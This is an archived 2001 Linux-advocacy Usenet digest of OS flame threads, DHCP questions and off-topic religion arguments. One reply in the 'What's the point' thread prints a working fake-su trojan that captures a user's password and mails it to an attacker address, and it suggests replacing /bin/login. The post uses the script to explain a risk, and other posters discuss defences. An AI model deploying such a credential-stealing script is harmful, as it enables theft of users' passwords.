Linux-Advocacy Digest #694, Volume #33           Wed, 18 Apr 01 21:13:04 EDT

Contents:
  Re: What's the point ("surrender")
  Re: Microsoft: Closed source is more secure (Eric Leblanc)
  Re: Linux = CHOICE! (GreyCloud)
  Re: Blame it all on Microsoft ("Joseph T. Adams")
  Re: What's the point (su's safe with no telnet) (Brent R)
  Re: What's the point (Brent R)
  Re: Perl and Tcl/Tk: How important are they? (Brent R)
  Re: Am I ****? HP Photosmart C500 and Win 2000 ("Boyce Endertois")
  Re: So much for modules in Linux! (GreyCloud)
  Re: What's the point (The Ghost In The Machine)
  Re: OT: Treason (was Re: Communism) ("billh")
  Re: OT: Treason (was Re: Communism) ("billh")
  Re: Blame it all on Microsoft ("Erik Funkenbusch")
  Re: Postgres 7.1 Released ("Joseph T. Adams")
  Re: OT: Treason (was Re: Communism) ("billh")
  Re: What's the point (Brent R)
  Re: OT: Treason (was Re: Communism) ("billh")
  Re: To Eric FunkenBush (GreyCloud)
  Re: Slackware bites the dust. ("Joseph T. Adams")

----------------------------------------------------------------------------

From: "surrender" <[EMAIL PROTECTED]>
Subject: Re: What's the point
Date: Wed, 18 Apr 2001 23:17:06 GMT

In article <9bkprh$s9f$[EMAIL PROTECTED]>, "David Coto"
<[EMAIL PROTECTED]> wrote something like:

>> Note:  Now I have a dual 650Mhz PIII System at home running Linux that
>> still runs faster than my dual 650Mhz PIII system at work running WinNT
>> w/SP6.  On top of that, my home system doesn't crash (unless I mess
>> with the kernel which I'm known to do).
> 
>    Which measures are you doing to prove that ? Math calcs ? CAD design
>    ?
> What to say so absolutly that 1CPU performs better than 2CPU's  ...
> obviously
> they are not CPU intensive tasks.
> 
>> Yes.  Even my wife who isn't computer saavy sits down at my Home System
>> and uses Applixware when I'm not on my computer....She chooses my
>> system although she could use Word97 on her own WinME computer.
> 
>    That does not prove she works better, just that you are a good
> advocate :-) and that she likes new things (all women I know do that).
> 
It's not a new thing. Bill Gates said that linux was based on 20 or more year old
technology, which is totally outdated compared to the Micro$oft®
Windows®-products.
;)

-- 
Greets,
surrender
--
$ apt-get moo
         (__)
         (oo)
   /------\/
  / |    ||
 *  /\---/\
    ~~   ~~
...."Have you mooed today?"...

------------------------------

Subject: Re: Microsoft: Closed source is more secure
From: Eric Leblanc <[EMAIL PROTECTED]>
Date: Wed, 18 Apr 2001 23:22:35 GMT

[EMAIL PROTECTED] (Tim Smith) writes:

> Ray Chason <[EMAIL PROTECTED]> wrote:
> >>`By contrast, Microsoft does extensive testing on every product, and on
> >>every patch, said Lipner. "People ask us why our security patches take so
> >>long. One of the reasons they take so long is because we test them."'
> >
> >Ah yes, extensive testing, which is why such glaring boners as the
> >ILOVEYOU/Melissa vulnerability got out the door.
> 
> Let's see, on the one hand we have Microsoft, that tries to do things
> that are ambitious (perhaps foolish, but ambitious) like provide
> scripting and executable attachments in email, and has security bugs
> because of it.

So you admit it's foolish but then try to justify it anyway? What
kind of sick morons are you?

> 
> On the other hand, we have Unix, where people try to do something as
> routine and unambitious and trivial as write an FTP server, and it takes
> them *YEARS* to get rid of the buffer overflows...something any
> competent programmer would not have put into the code in the first
> place.

so are you telling me that FTP servers on windows don't have any
buffer overflows? 

-- 


------------------------------

From: GreyCloud <[EMAIL PROTECTED]>
Subject: Re: Linux = CHOICE!
Date: Wed, 18 Apr 2001 16:28:41 -0700

Hi Pete!

Pete Goodwin wrote:
> 
> Ed Allen wrote:
> 
> >     We are looking forward to changing away from monopoly crapware.
> 
> The only crapware I'm seeing is on Linux.

I'm not finding it any better under Win98 either.

> 
> >     It is only the Win32 development parasites who are afraid of the
> >     change.
> 
> That's why I'm using Linux right now.
> 
> >     The only difference is where the code and libraries get placed.
> >
> >     You write a post install script putting links to where the real
> >     code was placed.
> 
> You still have to do extra work for each distro.
> 
> >     Vendors getting money for crap is what I call easy times and it
> >     has to stop.
> 
> Why? Why shouldn't I be paid for the fruit of my labours? How am I supposed
> to eat if I do not receive money for what I've created? Become a
> free-loader and sponge of the rest of society?

No arguments about this.
:-)

> 
> >     They have gotten fat and lazy.  They need to work to earn our money.
> 
> That's funny, that's what I thought I was doing.
> 
> >>Seems to working for Microsoft.
> >>
> >     Robbing banks and other criminal activities can be very profitable
> >     before a conviction.
> >
> >     They are not tolerated afterwards.
> 
> But Microsoft are not about to be convicted, are they?
> 
> >>Yes, I want a system that works. I've tried Linux + KDE, oh dear, it's not
> >>as stable as it's hyped up to be. I choose Windows instead.
> >>
> >     Yes you seem to be one of the very few who cannot do anything which
> >     requires you to think before you charge off ignoring the directions.
> 
> I see, drag and drop wiping out my desktop requires me to think does it?
> 
> >     Funny how you seem not to remain in your Windows cocoon though.
> 
> Because I'm willing to try something different?

You seem to be quite flexible on this issue... a good virtue.


> 
> Because I used something _before_ Windows. Like Ultrix? Like OpenVMS? Like
> RISC OS? Like Digital UNIX?

I liked the documentation from DEC the best.
I still like to look at the various O/Ses and find what their virtues
are.

> 
> >     After a short while you come back here with another tale of how you
> >     just cannot manage to do what eight year olds have been reported to
> >     have few troubles doing.
> 
> That's because you're living in a dream world where there are no bugs, and
> what I'm finding must be a lie.
> 
> >     All of the regulars here know how difficult thinking about and
> >     making choices are for you.
> 
> No they don't.
> 
> >     Your repeated tribulations are entirely at your own volition.  Do
> >     not feel that we will think less of you if you elect to forgo the
> >     pain and just stick with Windows.
> 
> Ah, the old cry, "Go back to Windows and leave us alone"! I'm sorry, but I
> refuse to let you wallow in your own sewage.
> 

LOL!!  (Come on in the brown stuff is fine!) :-))


> >>Do you seriously believe I turn off my brain when I use Windows? Ever
> >>tried programming it? Oh yeah, you don't need a brain for that? HAH!
> >>
> >     Whatever you do with your brain it is not what we Linux people call
> >     thinking.
> 
> What you Linux people call thinking I would not like to make any comment
> about.
> 
> >     Different opinions are what makes horse races.
> 
> What 'opinion'? How long has this court case been dragging on? For crying
> out loud, every KNOWS Microsoft is a monopoly, why can't the courts see it?
> 
> >     Just as with the horses we can only wait to see what the outcome
> >     will be.
> 
> And wait... and wait... and... zzzzz...
> 
> >     If you agree that they wield monopoly power then you must agree that
> >     they are guilty of monopolization under the Sherman Act.
> 
> Yes.
> 
> >     They are objecting to being broken up not the conviction.
> 
> Yes.
> 
> >     Whatever the courts decide on for remedies the monopolization cannot
> >     be allowed to continue.  That would be allowing criminal acts to
> >     continue in spite of the law.
> 
> Except the court case appears to be failing.

I think that this is one of the sorest spots of frustration for
americans.


> 
> >>It looks as though there will be _nothing_ done.
> >>
> >     The courts have a duty to see that the laws are obeyed so the
> >     monopolization will be stopped.
> 
> Unless they decide there is nothing to answer for, which could happen.
> 
> >     It may not happen quickly but it must stop or the law must be
> >     repealed.
> 
> Why 'must it stop'? Who's going to stop it?
> 
> >     Several of them are working for RedHat, SuSE and other Open Source
> >     companies.
> 
> And get paid?
> 
> >     Linus works for Transmeta.  Writing their customized version of
> >     Linux.
> 
> And get paid?
> 
> >     Open Source is a great way to demonstrate to an employer exactly
> >     what you can do.
> 
> And a great way to demonstrate how _bad_ you are. You do realise that just
> because they write Open Source code does not mean they write great code?
> 
> >     Even the ones not being paid to develop their projects full time have
> >     the very best of resumes.
> 
> That's dogma.
> 
> >     Preying on the ignorance of your customers is profiteering at best
> >     and could extend to fraud charges if you are keeping them ignorant
> >     on purpose.
> 
> Who are you talking about?
> 
> >     DEC started out as a hardware company but somewhere along the way
> >     they decided they should sell software but they have made a poor
> >     showing of it because they were not willing to fleece the ignorant
> >     masses.
> 
> That's not what happened. Their equipment was overpriced; they failed to
> spot oppertunities and they tried to continue with OpenVMS.

Correct!  WAY overpriced.  They thought the goverment would never stop
spending.
I saw the handwriting on the wall when the Berlin wall was being torn
down.
I knew the politicians would be cutting back on defense spending and got
my own finances in order before we were told to retire... or else.


> 
> >     I hope their hardware sales will flourish again.
> 
> Unlikely, since Digital as a company ceased to exist. It's called Compaq
> now.
> 
> >     They are at least bright enough to know better than to pay money for
> >     crap when they are not forced to by preload contracts.
> 
> What 'crap'?
> 
> >     Each successful, as opposed to any of your, installation of Linux
> >     opens the eyes of more people as they see that the successful ones
> >     are free of the crapware.
> 
> I suspect the number of people who are finding Linux as bad as I am are in
> the majority. Why do you think the Linux desktop has not taken off yet?
> 

You have valid points... thats why I keep pinging on a few of these
linux companies to keep making some improvements and other suggestions. 
Lexmark finally wrote drivers for their Zxx line of printers.


> >     Once they taste that freedom they will not meekly submit to the
> >     chains of monopolization again.
> 
> What freedom?
> 
> >     The pool of Linux users keeps growing every year.
> 
> And the number of desktop users is still predominantly Windows NOT Linux.
> 
> >     This year or maybe next more will join the Linux community than fall
> >     under the oppressive yoke of Emperor Bill.
> 
> I fail to see much oppression.
> 
> >     I see the group of enlightened people growing each year and none of
> >     them seem eager to take up the burden of Windows again.
> 
> Windows is not a burden. That's your dogma again.

Its a burden when your wife beats you over the head to fix it. (Win98)


> 
> >     Perhaps you can point us to some who willingly return to the Windows
> >     fold.
> 
> Me.

The jury is still out on this part in our household.  We don't want to
buy another computer just to run the next version of MS o/s every three
years.  Actually, we aren't going to buy anything for the time being
until we see some definite improvements and good words from our friends
on MS... and if Linux shows even better with our friends we may go that
way.  Sun Microsystems told me over the phone that they are trying to
get out a home version of UNIX on their sun blade.... but I don't trust
salesmen either.

Still waiting.

> 
> >     I see no alt.destroy.linux only alt.destoy.microsoft
> 
> That's just a popular fad.
> 
> >     The closest you can come is alt.linux.sux where crybabies whine
> >     about how they cannot get it to work.
> 
> Ah, I see, label the ones who don't meet your standards with insults.
> 
> >     Windows has lots of those.
> 
> And Linux is full of morons.
> 
> --
> Pete
> Running on SuSE 7.1, Linux 2.4, KDE 2.1
> Kylix: the way to go!

-- 
V

------------------------------

From: "Joseph T. Adams" <[EMAIL PROTECTED]>
Crossposted-To: comp.theory,comp.arch,comp.object
Subject: Re: Blame it all on Microsoft
Date: 18 Apr 2001 23:31:49 GMT

In comp.os.linux.advocacy The Ghost In The Machine 
<[EMAIL PROTECTED]> wrote:
: In comp.os.linux.advocacy, Joseph T. Adams <[EMAIL PROTECTED]> wrote

:>Even if it were possible, you wouldn't want ext2fs on NT.

: Why wouldn't it be possible, given access to the source code? :-)
: (Of course, that's where it all falls down.  But presumably, somewhere
: deep in the system, there's a DLL implementing NTFS; that DLL may also
: implement FAT (NT supports both) and presumably one can add code
: to support other file systems.


ext2fs is designed to sit on the Linux VFS, and the differences
between NTFS and any UNIX filesystem are quite significant.


Joe

------------------------------

From: Brent R <[EMAIL PROTECTED]>
Subject: Re: What's the point (su's safe with no telnet)
Date: Wed, 18 Apr 2001 23:39:49 GMT

At150bogomips wrote:
> 
> What good is a root password going to do if your system does not run telnet?
> (What isolated desktop needs telnetd?)
> 
> Paul A. Clayton
> Just a former McD.'s grill worker and technophile

I think by default many distro's do... and not just telnet but rlogin
and ssh.
-- 
- Brent

http://rotten168.home.att.net

------------------------------

From: Brent R <[EMAIL PROTECTED]>
Subject: Re: What's the point
Date: Wed, 18 Apr 2001 23:41:03 GMT

surrender wrote:
> 
> In article <9bkprh$s9f$[EMAIL PROTECTED]>, "David Coto"
> <[EMAIL PROTECTED]> wrote something like:
> 
> >> Note:  Now I have a dual 650Mhz PIII System at home running Linux that
> >> still runs faster than my dual 650Mhz PIII system at work running WinNT
> >> w/SP6.  On top of that, my home system doesn't crash (unless I mess
> >> with the kernel which I'm known to do).
> >
> >    Which measures are you doing to prove that ? Math calcs ? CAD design
> >    ?
> > What to say so absolutly that 1CPU performs better than 2CPU's  ...
> > obviously
> > they are not CPU intensive tasks.
> >
> >> Yes.  Even my wife who isn't computer saavy sits down at my Home System
> >> and uses Applixware when I'm not on my computer....She chooses my
> >> system although she could use Word97 on her own WinME computer.
> >
> >    That does not prove she works better, just that you are a good
> > advocate :-) and that she likes new things (all women I know do that).
> >
> It's not a new thing. Bill Gates said that linux was based on 20 or more year old
> technology, which is totally outdated compared to the Micro$oft®
> Windows®-products.
> ;)
> 
> --
> Greets,
> surrender
> --
> $ apt-get moo
>          (__)
>          (oo)
>    /------\/
>   / |    ||
>  *  /\---/\
>     ~~   ~~
> ...."Have you mooed today?"...

Actually, and I didn't know this until recently, but MS-DOS is based on
IBM DOS which has been around since the 60's.
-- 
- Brent

http://rotten168.home.att.net

------------------------------

From: Brent R <[EMAIL PROTECTED]>
Subject: Re: Perl and Tcl/Tk: How important are they?
Date: Wed, 18 Apr 2001 23:57:05 GMT

"Bryant Charleston, MCSE" wrote:
> 
> Hey folks,
> 
> I'm a Linux newbie and I'm reading through a few books and practicing
> hands-on to learn Linux -- then Unix. A couple of the books spend quite a
> bit of time addressing scripting languages like Perl and Tcl/Tk. As a newbie
> to Linux, I'd like to get some feedback on how important these (or any
> other) scripting languages are in the real world.
> 
> 1) Should I skip these and continue to learn and master the basic CLI
> commands FIRST, or learn them along w/the CLI?
> 2) Which of these scripting languages are the most important?
> 3) Are there other important scripting languages that are also widely used
> that I should be aware of?
> 
> Thanks for the feedback!
> 
> --
> 
> ...................................................
> Bryant Charleston
> A+ Network + MCSE (NT4)
> Linux (RedHat 7) Enthusiast
> 
> ....................................................

Just get a big book on Linux... that will tell you what you need to
know. O'Reilly makes some good ones... I've used Linux for quite some
time and don't know Perl yet and I'm doing fine. Just learn some basic
shell scripting first.
-- 
- Brent

http://rotten168.home.att.net

------------------------------

Crossposted-To: comp.os.linux.misc,rec.photo.digital
Subject: Re: Am I ****? HP Photosmart C500 and Win 2000
From: "Boyce Endertois" <[EMAIL PROTECTED]>
Reply-to: [EMAIL PROTECTED]
Date: Thu, 19 Apr 2001 00:01:07 GMT

1
 >
 > You're a mighty big fellow behind that keyboard.

And I was able to get a rise out of you without uttering a single curse!

;)

------------------------------

From: GreyCloud <[EMAIL PROTECTED]>
Subject: Re: So much for modules in Linux!
Date: Wed, 18 Apr 2001 17:03:06 -0700

Pete Goodwin wrote:
> 
> In article
> <[EMAIL PROTECTED]>,
> [EMAIL PROTECTED] says...
> 
> > Hmmm... how about the Sams books? I have one and has quite a bit more
> > meat in it.
> > Also, seeing as its free anyway, I just go to sun.docs.com and download
> > the sysadmin manuals.  They've got a lot in there.  I read these thru
> > adobe acroread.  Download the solaris 8 versions.
> 
> Actually I don't have Linux for Dummies. I have something else. I
> checked Linux for Dummies and found it has absolutely _no_ mention of
> DHCP.
> 
> Fat lot of use then.
> 
> --
> ---
> Pete Goodwin
> All your no fly zone are belong to us
> My opinions are my own

Oh rats!  Even the SAM books are useless on DHCP!
I'm looking in Vol.3 Chapt.8 of System Administration Guide.
Help me out here on this part...

"A primary benefit of DHCP is its ability to manage IP address
assignments through leasing, which allows IP addresses to be reclaimed
when not in use and reassigned to other clients. This enables a site to
use a smaller pool of IP address than would be needed if all clients
were assigned a permanent address."

Question:  Is there some kind of DHCP Manager app similar to Suns'
dhcpconfig??
I don't know what Suse has in the way of these.

(Vol.3 has over 700 pages that I printed out... I never liked any
on-line documentation)

"DHCP must be able to determine the address of a client's network in
order to assign an appropriate IP address to the client.  If more than
one network is present on the hardware media, the server cannot
determine the client's network, and cannot assign an IP address."  from
page 168.

Maybe I'm far from the mark.

??? 
-- 
V

------------------------------

From: [EMAIL PROTECTED] (The Ghost In The Machine)
Subject: Re: What's the point
Date: Thu, 19 Apr 2001 00:13:22 GMT

In comp.os.linux.advocacy, Matthew Gardiner
<[EMAIL PROTECTED]>
 wrote
on Wed, 18 Apr 2001 19:46:14 +1200
<[EMAIL PROTECTED]>:
><snype>
>> Remember to type in the full path to su! You wouldn't want to email
>> anyone your password now would you?
>How is that possible, to send your password via email?

By the oldest trick in the book: a Trojan horse.  The following
script should work reasonably well, although I haven't tested
the sendmail part.

    #!/bin/sh
    #
    # ersatz su
    #

    stty -echo
    read -r -p "Password: " password
    stty echo
    echo ""

    (
            echo "From: $USER@$HOSTNAME"
            echo "To: [EMAIL PROTECTED] <Black Hat Hacker>"
            echo "Subject: Got another sucker"
            echo ""
            echo "$USER $password"
            echo
            echo "Bwahahahahahaha!!!"
    ) |/usr/lib/sendmail [EMAIL PROTECTED] >/dev/null 2>&1

Put this somewhere in the user's $PATH and even the BOFH can't help you. :-)
If the user's dumb enough to put '.' in there, for example, just put
it in his home directory.

Some tweaking may be required depending on precise behavior of 'su'.
One could, for example, spit out

su: Authentication failure
Sorry.

to mimic a login failure -- *after* the email is sent out, of course.
Or one can just drop back to the shell and leave the user wondering
why he didn't get the traditional sharp sign.  Whoops!

This is about as stupidly simple as it gets, folx.  :-)  Mind you, it's
probably not all that useful; once a hacker compromises a box via a
root exploit, he can set the password (or anything else!) to anything
he wants and there's no point in faking out (and thereby alerting!)
a superuser who's using his regular account for non-management stuff,
unless said hacker has an extremely weird sense of humor.  (A few do.)

A far more useful hack would steal passwords by replacing /bin/login.
One has to be a little careful here, though -- the super user might
get suspicious if no one could log in for an extended length of time.

>
>Matthew Gardiner
>
>-- 
>I am the resident BOFH (Bastard Operator From Hell)
>
>If you don't like it, you can go [# rm -rf /home/luser] yourself
>
>Running SuSE Linux 7.1
>
>The best of German engineering, now in software form

-- 
[EMAIL PROTECTED] -- insert random evil shell script from a bad place here
EAC code #191       2d:11h:42m actually running Linux.
                    The US gov't spends about $54,000/second.  I wish I could.

------------------------------

From: "billh" <[EMAIL PROTECTED]>
Crossposted-To: alt.destroy.microsoft,us.military.army,soc.singles
Subject: Re: OT: Treason (was Re: Communism)
Date: Thu, 19 Apr 2001 00:19:00 GMT


"Roberto Alsina"

> Let's see: if the commandment allowed for the act of war, it must allow
> for the act of was as it was understood at the time the commandment was
> given.

It must?  Your cite for such?

I've shown you where God's commandment not to murder were followed God's
commands to kill in war.  No problem since murder is simply a subset of
killing, and as such, not all killing is murder.



------------------------------

From: "billh" <[EMAIL PROTECTED]>
Crossposted-To: alt.destroy.microsoft,us.military.army,soc.singles
Subject: Re: OT: Treason (was Re: Communism)
Date: Thu, 19 Apr 2001 00:20:29 GMT


"Roberto Alsina" <


> >: How does eating fish on fridays connect to loving my neighbour?
> >
> >You may be confusing the teachings of a particular sect (the Roman
> >Catholic Church) with those of Christ.  They're not necessarily the
> >same thing.
>
> The sect says they are. There is no "teachings of Christ" that is
> independent from sects, since the sects are the ones saying the
> "teachings of christ" exists.

Then cite the Christ's teaching regarding red meats and Friday's,




------------------------------

From: "Erik Funkenbusch" <[EMAIL PROTECTED]>
Crossposted-To: comp.theory,comp.arch,comp.object
Subject: Re: Blame it all on Microsoft
Date: Wed, 18 Apr 2001 19:24:03 -0500

"mlw" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]...
> > The debugger is mostly x86 oriented, not Windows oriented.  In fact, MS
> > didn't even write their own debuggers at first, but rather licensed them
> > from NuMega.
>
> That's not true. They licenced some of the code to do desktop overly
pop-up
> from NuMega, but they did not licence the SoftIce debugger. NuMega had
access
> to the information need to write this application.

Sorry, but this was LONG before SoftIce even existed.  The VC 1.0 and 1.52
Codeview debuggers were both using NuMega code nearly 10 years ago.

> >  What does that tell you about how difficult it is for a third
> > party to write a debugger for Windows.
>
> NuMega had a partnership With Microsoft, where as Borland was a
competitor.

MS and Borland had a very good relationship early on, when MS wasn't being
so competitive in the developer tools market.





------------------------------

From: "Joseph T. Adams" <[EMAIL PROTECTED]>
Subject: Re: Postgres 7.1 Released
Date: 19 Apr 2001 00:25:03 GMT

mlw <[EMAIL PROTECTED]> wrote:

: Postgres 7.1 has been released.

: For those of you who do not know, Postgres is an object relational SQL
: database, it performs very will under high load and multiple users. It has real
: transactions and many advanced features like sub-selects, function based
: indexing, and more.


The day doesn't go by that I don't wish I could use PostgreSQL at the
office instead of having to choose between MSSQL (little better than a
toy) and Oracle (usually gross overkill, but even it lacks some
PostgreSQL features that I find incredibly useful). 

I can't wait to get my hands on the new release.


Joe

------------------------------

From: "billh" <[EMAIL PROTECTED]>
Crossposted-To: alt.destroy.microsoft,us.military.army,soc.singles
Subject: Re: OT: Treason (was Re: Communism)
Date: Thu, 19 Apr 2001 00:26:52 GMT


"Roberto Alsina"

> If by murder you mean "murder as defined today", indeed it is the same
> at any time.

Since murder was brought up by ythe use og Exodus 20, read the Bible.  Once
you have you'll understand murder is defined by the intent and motive of the
murderer, whether 3000 years ago or today.






------------------------------

From: Brent R <[EMAIL PROTECTED]>
Subject: Re: What's the point
Date: Thu, 19 Apr 2001 00:28:50 GMT

Neil Cerutti wrote:
> 
> Brent R posted:
> >Matthew Gardiner wrote:
> >>
> >> <snype>
> >> > Remember to type in the full path to su! You wouldn't want to email
> >> > anyone your password now would you?
> >> How is that possible, to send your password via email?
> >>
> >> Matthew Gardiner
> >>
> >> --
> >> I am the resident BOFH (Bastard Operator From Hell)
> >>
> >> If you don't like it, you can go [# rm -rf /home/luser] yourself
> >>
> >> Running SuSE Linux 7.1
> >>
> >> The best of German engineering, now in software form
> >
> >If you have downloaded a trojan that puts a script named 'su' in
> >your home directory that's meant to emulate logging in as root
> >but really emails your password.
> 
> I think good security demands that the current directory is not
> in your path, though, so to run the trojan I would need to type:
> 
> $ ./su
> 
> If you're paranoid you can type
> 
> $ which su
> 
> before embarking on this perilous command.

You're right... I tried it form several different directories... it
skips the cwd each time.

However, most people install software in root, and root could install
software that could insert a malicious 'su' script in a path so you're
still screwed.

PGP authentication seems to be your best bet (and the only sure
protection). Just make sure you know what it is that you're downloading.

> --
> Neil Cerutti <[EMAIL PROTECTED]>


-- 
- Brent

http://rotten168.home.att.net

------------------------------

From: "billh" <[EMAIL PROTECTED]>
Crossposted-To: alt.destroy.microsoft,us.military.army,soc.singles
Subject: Re: OT: Treason (was Re: Communism)
Date: Thu, 19 Apr 2001 00:28:58 GMT


"Roberto Alsina"

> No, but if you believe the bible is the revealed word of god, you are in
> the same position as childs who believe in santa, in a way.

Yet it was you who chose to use Exodus 20 in a vain attempt to strengthen
your argument.  Your use of scripture coupled with your statement above says
much more about you than anyone else.



------------------------------

From: GreyCloud <[EMAIL PROTECTED]>
Subject: Re: To Eric FunkenBush
Date: Wed, 18 Apr 2001 17:29:07 -0700

Donovan Rebbechi wrote:
> 
> On Wed, 18 Apr 2001 04:17:27 -0500, Erik Funkenbusch wrote:
> > "The Ghost In The Machine" <[EMAIL PROTECTED]> wrote in
> > message
> >> >For some, but as of today, very few people even use the STL, much less
> > their
> >> >own templates.
> >>
> >> Sez you.  Personally, I think the STL is a very well-engineered idea,
> >
> > Of course it is.  I made no statements about the quality or usefulness of
> > STL or templates, only that very few people (in comparison to the majority)
> > are not using them.  My own experience is that less than 10% of the C++
> > programmers even know how to use std::string, much less containers or
> > algorithms.
> 
> When I think about this, it doesn't surprise me in the least. I'm teaching
> C++ part time at a university, and a lot of the *instructors* barely know
> STL, ditto for textbook writers. Ignorance trickles down from textbook
> writers to instructors to students (or from textbook authors directly
> to self-studyers)

Go buy this book: ISBN 1-57169-131-6.... it discusses STL
This so called ignorance you are talking about...???  Tell that to
Stephan Prata.
This is no fly-by-night book.  I refute your trickle down theory....
where did you get your knowledge from???  You have to get it somewhere. 
Don't the Universities use books??  As I've said... I don't know you
from Adam.

> 
> I suppose a lot of this probably has to do with the fact that the inclusion
> of STL in the standard is really a very new thing.
> 
> --
> Donovan Rebbechi * http://pegasus.rutgers.edu/~elflord/ *
> elflord at panix dot com

-- 
V

------------------------------

From: "Joseph T. Adams" <[EMAIL PROTECTED]>
Subject: Re: Slackware bites the dust.
Date: 19 Apr 2001 00:33:29 GMT

Pete Goodwin <[EMAIL PROTECTED]> wrote:
: What's this? Slackware distro has collapsed?


Umm . . . 

No.

Slackware hasn't gone away, and won't for a long time.

But its maintainers, including Pat Volkerding, are temporarily
unemployed.

They're talented folks who have consistently made one of the
higher-quality Linux distributions available, and I have absolutely no
doubt that they will find a new home in the very near future.


Joe

------------------------------


** FOR YOUR REFERENCE **

The service address, to which questions about the list itself and requests
to be added to or deleted from it should be directed, is:

    Internet: [EMAIL PROTECTED]

You can send mail to the entire list by posting to comp.os.linux.advocacy.

Linux may be obtained via one of these FTP sites:
    ftp.funet.fi                                pub/Linux
    tsx-11.mit.edu                              pub/linux
    sunsite.unc.edu                             pub/Linux

End of Linux-Advocacy Digest
******************************

Reply via email to